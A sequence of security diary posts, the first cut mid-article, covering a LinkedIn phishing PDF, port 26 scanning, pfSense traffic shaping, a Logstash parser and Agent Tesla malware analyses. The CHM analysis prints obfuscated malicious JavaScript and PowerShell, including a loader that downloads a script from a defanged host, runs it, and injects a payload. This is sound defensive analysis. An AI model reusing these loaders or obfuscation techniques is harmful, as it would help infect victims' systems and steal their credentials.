I found several similar samples on Virus Total, for example sha1 f5884fd520f302654ab0a165a74b9645a31f4379 - Japanbankdocument (1).pdf.[2]   All the files I examined used a variety of other generic or known company names, followed by the word “document,” and they had similar metadata in the pdf files. This file is currently flagged as malicious by only 1/62 vendors reporting to VirusTotal (Microsoft alone flags it as a malicious, phishing document).

A 2nd document sampled, currently scores a 0 on VT, with just the very last part of the file name, “document.pdf.”. I used Didier’s Pdf Analysis tools pdfid and pdf-parser [3] to look at samples of the documents; below are the highlights:

PDFiD 0.2.7
 PDF Header: %PDF-1.7
 obj                   50
 endobj                50
 stream                 6
 endstream              6...
 xref                   1
 trailer                1
 startxref              1
 /Page                  1...
 /XFA                   0
 /URI                   2       ←  Here we can see there is a URI present.
 /Colors > 2^24         0

>>
obj 50 0    ←  Using pdf-parser we find the next-stage phishing link in pdf object 50
 Type: 
 Referencing: 
  <<
    /Flags 0
    /S /URI
    /URI (hxxps://dev-jeniferng153.pantheonsite(.)io/document(.)zip)
>>

The real danger here is when the campaign targets high-value targets, using their accounts to target more and more of their LinkedIn contacts, or pivot into stealing credentials which would create more access for the adversary, for example, a Microsoft 0365 credential-stealer, like what was shown in a similar, 0365 Phish [4]. 

Again the main advantage here for the attackers is by compromising accounts, they are provided with a way to reach out convincingly to colleagues, friends, and family of the victims.  This provides yet another way an adversary can make the most out of a hacked web server, by hosting countless domains like these, for phishing.

The Human Element

If you see any more LinkedIn messages like this, of course, you’ll want to let that person know out of band that their account has been compromised and that they should update their LinkedIn password, as well as report the abuse to LinkedIn. They’ll need to let all their LinkedIn contacts know their account has been used by someone else.  If they have unfortunately used their LinkedIn password on any other sites, those passwords should also be changed as well.
While not very complicated in terms of the malware or tactics used, this is certainly the type of campaign you’ll want to watch out for, and train your colleagues to watch out for, specifically. Since the message is also based on LinkedIn, you may of course want to block, or forbid with policy, the use of social media at work altogether.  This choice may not be a good culture fit with many organizations these days, although campaigns like this provide a good reason to consider encouraging employees not to use social media or other personal websites on their work computers.
There are some other general tips for avoiding similar phishing emails on LinkedIn’s page for Identifying Phishing, and also on their page for Recognizing and Reporting Scams [5,6].

JB Bowers
@cherokeejb_

References:
[1] https://urlscan.io/result/fc3ce0f8-f327-44d0-841a-a216d5f782db/
[2] https://www.virustotal.com/gui/file/4f09b9b73008dd1e7c074f5c1b9687ce41aea29006300f4617c1a894bd8864e6/detection
[3] https://blog.didierstevens.com/programs/pdf-tools/
[4] https://www.linkedin.com/pulse/case-phishy-inmail-vasyl-gello/
[5] https://safety.linkedin.com/identifying-abuse#Browsing
[6] https://www.linkedin.com/help/linkedin/answer/56325

A little over a year ago, I wrote a diary asking what was going on with traffic on TCP %%port:26%%. So, last week when I noticed another spike on port 26, I decided to take another look.

Update: In the original version of this diary, I accidentally left out the graph below.

This time around, again based on looking at my honeypot traffic, it looks like a possible new variant of Satori. I'm still not sure why they are expecting to find telnet on port 26, but this is what I'm seeing in the honeypot.

It looks like it might be slowing down a little since the initial spike in the middle of last week, but this is still more traffic than we've seen on port 26 since the the big increase I wrote about last time. If anyone has anymore insight into this one, please let us know via our contact page, e-mail, or comment below.

---------------
Jim Clausing, GIAC GSE #26
jclausing --at-- isc [dot] sans (dot) edu

[This is a guest diary by Yee Ching Tok (personal website here (https://poppopretn.com)). Feedback welcome either via comments or our contact page (https://isc.sans.edu/contact.html)]

In light of recent challenges brought about by COVID-19, the need for remote work, meetings, training, and learning has increased exponentially. A secure and optimized network would certainly allow users to do their best, despite being unable to work from their usual offices. I was recently asked if the addition of an open-sourced firewall, such as pfSense, would introduce network latency, reduce network speeds and affect productivity. A concern brought up was the issue of Bufferbloat, which is briefly defined as high latency within the network when multiple types of network traffic [for example bulk traffic (think upload/download)] hinders time-sensitive traffic (think gaming, Zoom/Skype, etc) [1]. This phenomenon is usually caused by a router lacking the ability to execute Smart Queue Management (SQM) for the network traffic. After some experiments and research, I would like to share that using pfSense’s Traffic Shaper Limiters could help optimize networks and address potential Bufferbloat issues. I also further discuss some settings that were tweaked and tested (vis-à-vis what is usually outlined) that ensure conformance to cybersecurity best practices while network performance is optimized.

Note: All networks are unique, and multiple factors can affect network performance. Processing power and availability of memory do affect the capability of a pfSense firewall, so please make sure to buy/build an appropriately sized firewall that matches the network bandwidth requirements. There are also alternative solutions that address Bufferbloat issues, such as using Ubiquiti products [2] or Untangle NG Firewall [3]. Last but not least, please remember to do a config backup on your pfSense firewall before changing anything, and test the changes made in a test network before deploying them into the production environment.

1) Assess network condition

Firstly, assess your network connection with your ISP. The website DSLReports (https://www.dslreports.com/speedtest) is suitable to start with. Start the test by selecting the appropriate connection type (E.g. Gigabit/Fiber, Cable, DSL, etc). Note down the final result, especially the grade for Bufferbloat.

2) Set up Download Limiter

Next, log in to the pfSense Web GUI, and navigate to the Limiters section. (Click on “Firewall” > “Traffic Shaper”). Following that, click on “Limiters”, and select the “New Limiter” button on the left side of the menu (Please refer to Figure 1 for the areas to select). 

Figure 1: Creating a New Limiter (Download Limiter) 

Input the following configurations (Please refer to Figure 2 for a screenshot of the configuration) for the new Limiter:

Enable – Enable limiter and its children (Check this box)
Name – WANDownload (Feel free to name it otherwise, no spaces allowed)
Bandwidth – Input the bandwidth for download as subscribed from your ISP, and select the unit (Bit/s, Kbit/s, Mbit/s). Leave the “Schedule” field unmodified. (In Figure 2, I used 1000 Mbit/s. Please adjust the values here according to your ISP subscription, or at least the guaranteed speed you are aware that the ISP is giving you.))
Mask – None 
Description – WAN Download Speed (Feel free to name it otherwise, spaces allowed)
Queue Management Algorithm – CoDel
Scheduler – FQ_CODEL (Note: You can set the value of the “quantum” parameter to 300 if you want to give priority to Voice over IP (VoIP) traffic. In addition, if your pfSense firewall is not constrained by memory, you can change the value of the “limit” parameter to 20480, and the value of “flows” parameter to 65535. Figure 2 does not show this yet, but you will be able to see these fine-grained settings after you save the limiter.)
Queue Length – 1000 (for a connection with higher bandwidth, this value can be increased to 2000/5000/10000. Start off with 1000 first.)
ECN – Enable Explicit Congestion Notification (Check this box)

At the bottom of the page, click “Save”. Do not navigate away from the page just yet. 

Figure 2: Configuration of Download Limiter

Note: You will get the following message “The traffic shaper configuration has been changed. The changes must be applied for them to take effect.”. This message can be ignored, as the changes can be applied later in one go once the download and upload limiters and queues are configured.

3) Set up Download Limiter Queue

After clicking the “Save” button, click on the “Add new Queue” button next to it (Please refer to Figure 3 for the illustration). Note: pfSense may not direct you to the Queue configuration page even after you select the “Add new Queue” button. You will notice this if you see the input for bandwidth (this is not needed for Queue configuration). In this case, select the limiter you have just created, e.g. “WANDownload”, on the left side of the menu. Scroll down, and click on the “Add new Queue” button again. You will then be redirected to the Queue configuration page.

Figure 3: Selecting the “Add new Queue” Button after Configuring Download Limiter

Input the following configurations (Please refer to Figure 4 for a screenshot of the configuration):

Enable – Enable this queue (Check this box)
Name – WANDownloadQueue (Feel free to name it otherwise, spaces not allowed)
Mask – None 
Description – WAN Download Queue (Feel free to name it otherwise, spaces allowed)
Queue Management Algorithm – CoDel
Queue Length –  (Leave this blank)
ECN – Enable Explicit Congestion Notification (Check this box)

At the bottom of the page, click “Save”. 

Figure 4: Configuring Download Limiter Queue

4) Set up Upload Limiter

It is now time to set up the Upload Limiter. Select “New Limiter” on the left side of the menu (Please refer to Figure 5 on how things should look like now). 

Figure 5: Creating a New Limiter (Upload Limiter)

Input the following configurations (Please refer to Figure 6 for a screenshot of the configuration):

Enable – Enable limiter and its children (Check this box)
Name – WANUpload (Feel free to name it otherwise, no spaces allowed)
Bandwidth – Input the bandwidth for upload as subscribed from your ISP, and select the unit (Bit/s, Kbit/s, Mbit/s). Leave the “Schedule” field unmodified. (In Figure 6, I used 500 Mbit/s. Please adjust the values here according to your ISP subscription, or at least the guaranteed speed you are aware that the ISP is giving you.)
Mask – None 
Description – WAN Upload Speed (Feel free to name it otherwise, spaces allowed)
Queue Management Algorithm – CoDel
Scheduler – FQ_CODEL (Note: You can set the value of the “quantum” parameter to 300 if you want to give priority to Voice over IP (VoIP) traffic. In addition, if your pfSense firewall is not constrained by memory, you can change the value of the “limit” parameter to 20480, and the value of “flows” parameter to 65535. Further explanations available here [4].)
Queue Length – 1000 (for a connection with higher bandwidth, this value can be increased to 2000/5000/10000. Start off with 1000 first.)
ECN – Enable Explicit Congestion Notification (Check this box)

At the bottom of the page, click “Save”. Do not navigate away from the page just yet.

Figure 6: Configuration of Upload Limiter

5) Set up Upload Limiter Queue

After clicking the “Save” button, click on the “Add new Queue” button next to it (Please refer to Figure 3 for the illustration). Note: pfSense may not direct you to the Queue configuration page even after you select the “Add new Queue” button. You will notice this if you see the input for bandwidth (this is not needed for Queue configuration). In this case, select the limiter you have just created, e.g. “WANUpload”, on the left side of the menu. Scroll down, and click on the “Add new Queue” button again. You will then be redirected to the Queue configuration page.

Input the following configurations (Please refer to Figure 7 for a screenshot of the configuration):

Enable – Enable this queue (Check this box)
Name – WANUploadQueue (Feel free to name it otherwise, spaces not allowed)
Mask – None 
Description – WAN Upload Queue (Feel free to name it otherwise, spaces allowed)
Queue Management Algorithm – CoDel
Queue Length –  (Leave this blank)
ECN – Enable Explicit Congestion Notification (Check this box)

At the bottom of the page, click “Save”.

Figure 7: Configuring Upload Limiter Queue

It is now time to apply the changes made. Click on the “Apply Changes” button on the top of the page (Please refer to Figure 8). After applying the changes, you will see a message stating “The changes have been applied successfully.”.

Figure 8: Applying Changes Made to Traffic Shaping Limiters and Queues

6) Set up Floating Firewall Rules

Navigate to the pfSense Firewall Rules page (Click on “Firewall” > “Rules”). Following that, click on “Floating” (by default, you will be brought to the “WAN” rules page). Select the first “Add” button (With reference to Figure 9, the button highlighted by the red box and with the arrow pointing up).

Figure 9: Navigating to pfSense Floating Rules and Adding First Rule

Floating Rule #1 (Please refer to Figure 10 for a screenshot of the configuration):
•    Action: Pass
•    Quick: Tick Apply the action immediately on match.
•    Interface: WAN
•    Direction: out
•    Address Family: IPv4
•    Protocol: ICMP
•    ICMP subtypes: Traceroute
•    Source: any
•    Destination: any
•    Description: Traceroute routing workaround
•    Advanced Options: Click on “Display Advanced”.
Scroll down.
•    Gateway: Do not use Default. Select your firewall WAN gateway.

Click “Save”. You will see a message “The firewall rule configuration has been changed. The changes must be applied for them to take effect.” on the top of the GUI (with reference to Figure 11). This message can be ignored, as the changes can be applied later in one go once all the firewall rules have been configured.

Figure 10: Configuration of Floating Rule for Traceroute Routing Workaround 

This rule is required for users who experience their pfSense firewall not being able send out ICMP traceroute [5] when Traffic Shaper Limiters are used. I personally did not experience this when I tested my configuration, and thus disabled this Floating Rule.

Select the second “Add” button (With reference to Figure 11, the button highlighted by the red box and with the arrow pointing down).

Figure 11: Addition of Second Floating Rule

Floating Rule #2 (Please refer to Figure 12 for a screenshot of the configuration):
•    Action: Pass
•    Quick: Tick Apply the action immediately on match.
•    Interface: WAN
•    Direction: out
•    Address Family: IPv4
•    Protocol: ICMP
•    ICMP subtypes: Echo reply, Echo Request
•    Source: any
•    Destination: any
•    Description: Limiter drop ping traffic under load workaround (Bug #9024) 
•    Advanced Options: Click on “Display Advanced”.
Scroll down.
•    Gateway: Do not use Default. Select your firewall WAN gateway.

Click “Save”. 

Figure 12: Configuration of Floating Rule for Limiter dropping Ping Traffic Under Load

This rule is required for users who experience their pfSense firewall dropping ping traffic when it is under heavy load when Traffic Shaper Limiters are used [6]. I personally did not experience this when I tested my configuration, and thus disabled this Floating Rule. In addition, a particular note has to be taken on the “Direction” option. While it is tempting to put “any” instead of “out”, “any” will allow the pfSense firewall to respond to incoming ping requests (something which many users may not want their firewalls to do so).

Next, we have to create the floating rules that will optimize the network traffic. There are some who suggest the usage of a single “Pass” action floating rule, and with the “Direction” option configured to “out”. This is not recommended. Firstly, according to Netgate documentation, Traffic Shaping related rules should utilize the “Match” action [7]. Secondly, by using only “out” for the “Direction” option, only outgoing traffic will be optimized and incoming traffic ignored. As such, 2 floating rules (one for incoming, and one for outgoing) should be created. They are as follows:

Select the second “Add” button (With reference to Figure 11, the button highlighted by the red box and with the arrow pointing down) again.

Floating Rule #3 (Incoming Traffic) (Please refer to Figure 13 for a screenshot of the configuration):
•    Action: Match
•    Interface: WAN
•    Direction: in
•    Address Family: IPv4 (Select IPv4+IPv6 if the network has IPv6 traffic)
•    Protocol: Any
•    Source: any
•    Destination: any
•    Description: WAN Incoming Traffic Queue 
•    Advanced Options: Click on “Display Advanced”.
Scroll down.
•    Gateway: Do not use Default. Select your firewall WAN gateway.
•    In / Out pipe: WANDownloadQueue / WANUploadQueue

Click “Save”. 

Figure 13: Configuration of Floating Rule for Incoming Traffic

Select the second “Add” button (With reference to Figure 11, the button highlighted by the red box and with the arrow pointing down) for the last time.

Floating Rule #4 (Outgoing Traffic) (Please refer to Figure 14 for a screenshot of the configuration):
•    Action: Match
•    Interface: WAN
•    Direction: out
•    Address Family: IPv4 (Select IPv4+IPv6 if the network has IPv6 traffic)
•    Protocol: Any
•    Source: any
•    Destination: any
•    Description: WAN Outgoing Traffic Queue 
•    Advanced Options: Click on “Display Advanced”.
Scroll down.
•    Gateway: Do not use Default. Select your firewall WAN gateway.
•    In / Out pipe: WANUploadQueue / WANDownloadQueue

Click “Save”. 

Figure 14: Configuration of Floating Rule for Outgoing Traffic

Finally, you can go ahead to click the “Apply Changes” button at the top of the GUI to apply the created firewall rules (Please refer to Figure 15). After applying the changes, you will see a message “The changes have been applied successfully. The firewall rules are now reloading in the background. Monitor the filter reload progress.”. 

Figure 15: Applying Firewall Rules

7) Re-assess network condition

Finally, re-assess your network connection with your ISP at the DSLReports website. (https://www.dslreports.com/speedtest). Start the test by selecting the appropriate connection type (E.g. Gigabit/Fiber, Cable, DSL etc), and the grade for Bufferbloat should have improved with the implementation of Traffic Shaping Limiters and Queues. 

That is all! I hope this guide has been useful in introducing network enhancements while maintaining the security of networks, especially for pfSense users. Do note that implementing Traffic Shaping may require a bit of further tweaking (e.g. Download and Upload Limiters, especially the parameter values under the Scheduler option highlighted in Steps 2 and 4 previously) due to various factors (e.g. ISP, geolocation, business requirements, equipment, etc). However, the steps outlined above should be enough to get you started on optimizing networks (especially home networks) that are increasingly being used for work, studies and personal entertainment. 

[1] https://www.bufferbloat.net/
[2] https://help.ubnt.com/hc/en-us/articles/220716608-EdgeRouter-Advanced-queue-CLI-examples
[3] https://wiki.untangle.com/index.php/Bufferbloat 
[4] https://forum.netgate.com/post/807490 
[5] https://docs.netgate.com/pfsense/en/latest/troubleshooting/traceroute-output.html
[6] https://redmine.pfsense.org/issues/9024
[7] https://docs.netgate.com/pfsense/en/latest/firewall/floating-rules.html

Update: This post has been updated to address an issue reported by a reader where the order of the traffic flow in the floating firewall rule was configured in the wrong orientation.

In this video, I show the commands I used in diary entry "Quickie: tshark & Malware Analysis" to analyze shellcode from a pcapng file, and I also show some basic options and feature of tshark, the command-line version of Wireshark.

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

One of our reader submitted some DSL Modem Firewall logs (iptables format) and I wrote a simple logstash parser to analyze and illustrate the activity, in this case it is all scanning activity against this modem. An iptables parser exist for Filebeat[2], but for this example, I wanted to show how to create a simple logstash parser using Grok[3] to parse these logs and send them to Elastic.

The Logstash Configuration Parser

# Guy Bruneau, guybruneau@outlook.com
# Date: 13 Feb 2021
# Version: 0.1
#
# Parse to Elastic Common Schema (ECS) format
# https://www.elastic.co/guide/en/ecs/1.7/ecs-field-reference.html
#
# This custom parser is parsing iptables type firewall logs dump data

# Wed Feb 10 23:59:29 2021 kern.debug kernel: [288253.168004] Firewall WAN DROP (SRC): IN= OUT= MAC=20:b0:01:6d:51:c4:a0:f3:e4:a3:1d:ba:08:00 SRC=xxx.xxx.xxx.xxx DST=xx.xxx.xx.xx LEN=40 TOS=0x00 PREC=0x00 TTL=245 ID=6607 PROTO=TCP SPT=55035 DPT=6981 WINDOW=1024 RES=0x00 SYN URGP=0 MARK=0x8000000

# Grab the logs file from filebeat which match the pattern /home/guy/logs

filter {
  if [log][file][path] =~ "logs" {
    grok {
      match => { "message" => "^%{HTTPDERROR_DATE:timestamp}.*?%{LOGLEVEL:loglevel}\s+%{WORD:event.provider}:.*Firewall\s+%{WORD:interface.name}\s+%{WORD:event.action}\s+\(%{WORD:network.direction}\).*SRC=%{IP:source.ip}\s+DST=%{IP:destination.ip}\s+.*ID=%{WORD:event.id}\s+PROTO=%{WORD:network.transport}\s+SPT=%{INT:source.port}\s+DPT=%{INT:destionation.port}.*" }
    }
  }
}

# Format: Thu Feb 11 08:46:32 2021
# https://docs.oracle.com/javase/7/docs/api/java/text/SimpleDateFormat.html

filter {
  date {
    match => ["timestamp", "EEE MMM dd HH:mm:ss yyyy"]
    target => "@timestamp"
  }
}

# Add GeoIP information to destination hostname

filter {
  if [log][file][path] =~ "logs" {
    geoip { source => "source.ip" }
  }
}

Now that the data is in Elasticsearch, I can create various reports based on the activity logged by iptables. The dashboards I prepared shows the number of records, the Top 10 targeted ports (services) and a table with the Top 10 sources with its location (GeoIP), action taken by the firewall and a total.

It is always a good idea to monitor and review the activity logged by the modem. If you aren't sure what to look for, we have tips published here as well as how you can participate and submit your logs to DShield, the service is open and free.

[1] https://www.elastic.co/downloads/logstash
[2] https://www.elastic.co/guide/en/beats/filebeat/7.11/filebeat-module-iptables.html
[3] https://grokdebug.herokuapp.com/
[4] https://isc.sans.edu/howto.html
[5] https://isc.sans.edu/forums/diary/Secure+Communication+using+TLS+in+Elasticsearch/26902/

-----------
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

Attackers have plenty of resources to infect our systems. If some files may look suspicious because the extension is less common (like .xsl files[1]), others look really safe and make the victim confident to open it. I spotted a phishing campaign that delivers a fake invoice. The attached file is a classic ZIP archive but it contains a .chm file: a Microsoft compiled HTML Help file[2]. The file is named "INV00620224400.chm" (sha256:af9fe480abc56cf1e1354eb243ec9f5bee9cac0d75df38249d1c64236132ceab) and has a current VT score of 27/59[3].If you open this file, you will get a normal help file (.chm extension is handled by the c:\windows\hh.exe tool).

But you will see that a Powershell window is popping up for a few seconds and disappears. Let's have a look at the file. You can handle .chm files with 7Zip and browse their content:

The sub-directories starting with "$" and the files starting with "#" are standard files in such files but let's have a look at the file called "sdf48df.htm". As usual, Microsoft provides tools and file formats that are able to work with dynamic content. This is true for help files that can embed Javascript code. Here is the content of the .htm file:

<script language="javascript">
var kldfdf='|!3C|!68|!74|!6D|!6C|!3E|!0A|!3C|!74|!69|!74|!6C|!65|!3E|!20|!43|!75|!73|!74|!6F|!6D|!65|!72|!20|
!73|!65|!72|!76|!69|!63|!65|!20|!3C|!2F|!74|!69|!74|!6C|!65|!3E|!0A|!3C|!68|!65|!61|!64|!3E|!0A|!3C|!2F|!68|!65|
!61|!64|!3E|!0A|!3C|!62|!6F|!64|!79|!3E|!0A|!0A|!3C|!68|!32|!20|!61|!6C|!69|!67|!6E|!3D|!63|!65|!6E|!74|!65|!6F|
[...code removed...]
!72|!45|!61|!63|!68|!2D|!4F|!62|!6A|!65|!63|!74|!20|!7B|!28|!20|!5B|!43|!6F|!6E|!76|!65|!72|!74|!5D|!3A|!3A|!54|!6F|!49|!6E|!74|!31|!36|!28|!28|!5B|!53|!74|!72|!69|!6E|!67|!5D|!24|!5F|!20|!29|!2C|!20|!38|!29|!20|!2D|!41|!73|!5B|!43|!68|!61|!72|!5D|!29|!7D|!29|!29|!22|!3E|!0A|!0A|!0A|!3C|!2F|!4F|!42|!4A|!45|!43|!54|!3E|!0A|!0A|!3C|!53|!43|!52|!49|!50|!54|!3E|!0A|!73|!68|!6F|!72|!74|!63|!75|!74|!2E|!43|!6C|!69|!63|!6B|!28|!29|!3B|!0A|!3C|!2F|!53|!43|!52|!49|!50|!54|!3E|!0A|!0A';
var fkodflg =bb0df4(kldfdf)
document.write(unescape(fkodflg));

function bb0df4(str) {
    return str.split("|!").join("%");
}
</script>

The variable kldfdf is easy to decode (it's just a hex-encoded chunk of data):

<html>
<title> Customer service </title>
<head>
</head>
<body>

<h2 align=center> Customer service </h2>
<p>
<h3 align=center> Please Wait... </h3>
</p>
</body>
</html>
<OBJECT id=shortcut classid="clsid:52a2aaae-085d-4187-97ea-8c30db990436" width=1 height=1>
<PARAM name="Command" value="ShortCut">
<PARAM name="Item1" value=",C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe, -WindowStyle Hidden $vYeIZ='92^64^43^43^64^44^03^65^65^42^82^85^54^94^B3^72^72^02^E6^96^F6^A6^D2^02^37^27^16^86^34^96^96^36^37^16^42
^02^D3^64^43^43^64^44^03^65^65^42^B3^D7^22^F5^42^87^03^22^D5^56^47^97^26^B5^D5^27^16^86^36^B5^B7^02^47^36^56^A6^
26^F4^D2^86^36^16^54^27^F6^64^C7^02^92^72^E5^72^82^47^96^C6^07^37^E2^67^D6^42^02^D3^37^27^16^86^34^96^96^36^37^1
6^42^B3^92^72^76^07^A6^E2^23^16^47^C6^56^44^F2^47^C6^E2^16^27^56^86^F2^F2^A3^07^47^47^86^72^C2^46^F6^86^47^56^D4
[...code removed...]
6^34^26^72^B2^72^56^75^E2^47^72^B2^72^56^E4^02^47^36^72^B2^72^56^A6^26^F4^72^B2^72^D2^77^56^E4^82^72^D3^97^47^47
^42^B3^23^23^07^42^02^D3^02^C6^F6^36^F6^47^F6^27^05^97^47^96^27^57^36^56^35^A3^A3^D5^27^56^76^16^E6^16^D4^47^E6^
96^F6^05^56^36^96^67^27^56^35^E2^47^56^E4^E2^D6^56^47^37^97^35^B5^B3^92^23^73^03^33^02^C2^D5^56^07^97^45^C6^F6^3
6^F6^47^F6^27^05^97^47^96^27^57^36^56^35^E2^47^56^E4^E2^D6^56^47^37^97^35^B5^82^47^36^56^A6^26^F4^F6^45^A3^A3^D5
^D6^57^E6^54^B5^02^D3^02^23^23^07^42';$text =$vYeIZ.ToCharArray();[Array]::Reverse($text);$tu=-join $text;$jm=$tu.Split('^') | forEach {[char]([convert]::toint16($_,16))};$jm -join ''| & (-Join ((111, 105, 130)| ForEach-Object {( [Convert]::ToInt16(([String]$_ ), 8) -As[Char])}))">
</OBJECT>

<SCRIPT>
shortcut.Click();
</SCRIPT>

How is the Powershell script executed? An object shortcut is created with the parameter Item1 containing the command to execute. The trick is to use the method Click() on the object to make it automatically executed without the user's interaction[4].

Here is the decoded Powershell new script:

$p22 = [Enum]::ToObject([System.Net.SecurityProtocolType], 3072);[System.Net.ServicePointManager]::SecurityProtocol = $p22;
$tty='(New-'+'Obje'+'ct Ne'+'t.We'+'bCli'+'ent)'|I`E`X;[void] [System.Reflection.Assembly]::LoadWithPartialName('Microsoft.VisualBasic');
do {
  $ping = test-connection -comp google.com -count 1 -Quiet
} until ($ping);
$mv= [Microsoft.VisualBasic.Interaction]::CallByname($tty,'Dow' + 'nlo' + 'adS' + 'tring',[Microsoft.VisualBasic.CallType]::Method,'hxxp://hera[.]lt/Delta2.jpg');
$asciiChars= $mv.split('^') |ForEach-Object {[char][byte]"0x$_"};
$VV0DF44F= $asciiChars -join '';
IEX($VV0DF44F)

This code downloads a fake picture (hxxp://hera[.]lt/Delta2.jpg) that contains another Powershell script. This one will drop and execute the malware on the infected system:

$e00fgfg4=(-Join ((111, 105, 130)| ForEach-Object {( [Convert]::ToInt16(([String]$_ ), 8) -As[Char])}))
sal c0d4s75 $e00fgfg4

function AfdEYmOP {     
  param($GjruFEh)    
  $GjruFEh = $GjruFEh -split '(..)' | ? { $_ }     
  ForEach ($aYLEzWVc in $GjruFEh) {         
    [Convert]::ToInt32($aYLEzWVc,16)     
  } 
} 

[String]$vhghWAdfB='4D5A9@!@!3@!@!@!04@!@!@!FFFF@!@!B8@!@!@!@!@!@!@!4@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@ !@!@!@!@!@!@!@!@!@!@!@!@!@!08@!@!@!@!E1FBA0E@!B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072 756E20696E20444F53206D6F64652E0D0D0A24@!@!@!@!@!@!@!5045@!@!4C0103@!46D6196@!@!@!@!@!@!@!@!0E@!@!E210B0108@!@!62 01@!@!06@!@!@!@!@!@!7E8@!1@!@!2@!@!@!0A@!1@!@!@!4@!@!02@!@!@!@!2@!@!04@!@!@!@!@!@!@!04@!@!@!@!@!@!@!@!E@!1@!@!02 [...code removed...] !@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@ !@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@ !@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@!@ !@!@!0'.replace('@!','00')   [Byte[]]$lqct=AfdEYmOP $vhghWAdfB  $j1e0d='[System.Ap@@#>@#<<<<<%%%%^^*******>>><<||||@!!!!!!!@@@@@@@@@ain]'.replace('@@#>@#<<<<<%%%%^^*******>>><<||||@!!!!!!!@@@@@@@@@','pDom')|c0d4s75;$b05d=$j1e0d.GetMethod("get_CurrentDomain") 

[String]$lkgY='1F8B08@!@!@!@!@!04@!CCBD07BC5C45F5387EF7EEEE6DDBDEECEEBB5BDFBB9B7E79FB125228EF2590842A553A52C4845 E0C2CF0420D3C82620522A888C6801A152B563458B17714FD62D4489ED87B6F5F1592FF2933B7ED06F0FBF5FBFBFCF3C9BB3B73CECCDCB93 367CE9C3973E6CCB167DCA1A5354DCBC0DFEEDD9AF6A0C6FF566B4FFF6F23FC15BD8F16B507EC87673D983AE6E159275F74F154E7F22B7B1 [...code removed...] F897DAC1072A5CAA75DB5F72FCF6C2CE0B17E6DB4EC76BB87EF0D93D6A3474353F1F76A63E@!65B07F6446FC7D619E3F5AFAD50B37F7237F 1EB2E0F47A172EAB1E06FDA12F1FCEF3779CCF8B6A64B40C3E535CE3A0F4D51F44BA75FE0B1EAFE5365DFFEFD8EB4B17C25EA2FD841FC974 C3DD715BF32D7E7DF582E3AB0F71EF5F981F7AEACFD55FBDD0705ABEAB17259D5C3E6536C1D42F1F99FB2B974326F@!65D0E980AE4840AF9 87FDD54B103B3EF32FFF7D4FE41FBFFE3EBEFE2F31162CC5@!6203@!'.replace('@!','00')

$dfffgrrr='$b05d.In@@#>@#<<<<<%%%%^^*******>>><<||||@!!!!!!!@@@@@@@@@ke($null,$null)'.replace('@@#>@#<<<<<%%%%^^*******>>><<||||@!!!!!!!@@@@@@@@@','vo')| c0d4s75

$jhugrdtf='$dfffgrrr.Lo@@#>@#<<<<<%%%%^^*******>>><<||||@!!!!!!!@@@@@@@@@($lqct)'.Replace('@@#>@#<<<<<%%%%^^*******>>><<||||@!!!!!!!@@@@@@@@@','ad')

$jhugrdtf| c0d4s75 

[Byte[]]$lkgY2= AfdEYmOP $lkgY 
[YESS]::f77df00sd('InstallUtil.exe',$lkgY2)

The first dumped file is a DLL (sha256:88774EAD57918BF293205D038402BD64FF6504D1CB1B72DBA2B50061DFE88C79). The second one is a PE file (sha256:39ecb2d1c2a4aa01e62effc56bb27ee8d1fe34ec43e5c99ee0b138410cfa2ca9). Both are unknown on VT. The DLL provides the [YESS]::f77df00sd function that presumably injects the PE file into a copy of InstallUtil.exe (a tool included in the Microsoft .Net framework). The PE file is a classic AgentTesla!

[1] https://isc.sans.edu/forums/diary/New+Example+of+XSL+Script+Processing+aka+Mitre+T1220/27056/
[2] https://en.wikipedia.org/wiki/Microsoft_Compiled_HTML_Help
[3] https://www.virustotal.com/gui/file/af9fe480abc56cf1e1354eb243ec9f5bee9cac0d75df38249d1c64236132ceab/detection
[4] https://docs.microsoft.com/en-us/previous-versions/windows/desktop/htmlhelp/click-and-hhclick-method

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

While going through attachments of e-mails, which were caught in my e-mail quarantine since the beginning of February, I found an ISO file with what turned out to be a sample of the Agent Tesla infostealer. That, by itself, would not be that unusual, but the Agent Tesla sample turned out to be unconventional in more ways than one...

The e-mail carrying the ISO attachment was a run-of-the-mill-looking malspam, informing the recipient about a new delivery from DHL. It had a spoofed sender address “dhlSender@dhl.com”, which – although looking at least somewhat believable – certainly didn’t have the impact of making the message appear trustworthy, which is what the authors of the e-mail were most likely hoping for. On the contrary, it must have resulted in very few of the messages actually making it past any security analysis on e-mail gateways. The reason is that DHL has a valid SPF record set up for dhl.com, so any SPF check (i.e. something that most of the worlds e-mail servers perform automatically these days) would lead to a “soft fail” result, which would consequently most likely lead to the message being quarantined (if not deleted outright).

The attached file Download_Tracking_Reference.01.02.2021.xlsx.iso contained only one EXE with identical name (except for the second extension, of course).

The executable was written in VB.NET and its malicious payload was hidden in it in an interesting way – the file had two bitmaps embedded in its Resources section, both of which were in fact encoded/encrypted DLLs.

While the use of bitmaps for embedding DLLs is not new for Agent Tesla[1], it is certainly an interesting way to hide malicious code and prevent its detection. In this case, it didn’t seem to help the file too much, given its 41/71 VT score at the time of writing[2], but it is quite imaginative technique nonetheless.

After the file was executed, it would first decode and load a small (10kB) DLL named BestFit.dll.

Using this first DLL, the malware would then decode, decrypt and load a much larger (430kB) DLL called PositiveSign.dll.

Since the second DLL was heavily obfuscated and its authors used couple of anti-analysis techniques in it, I didn’t have time to go through it in detail, but from the portions of the code I saw, it did appear to contain the final stage of the payload.

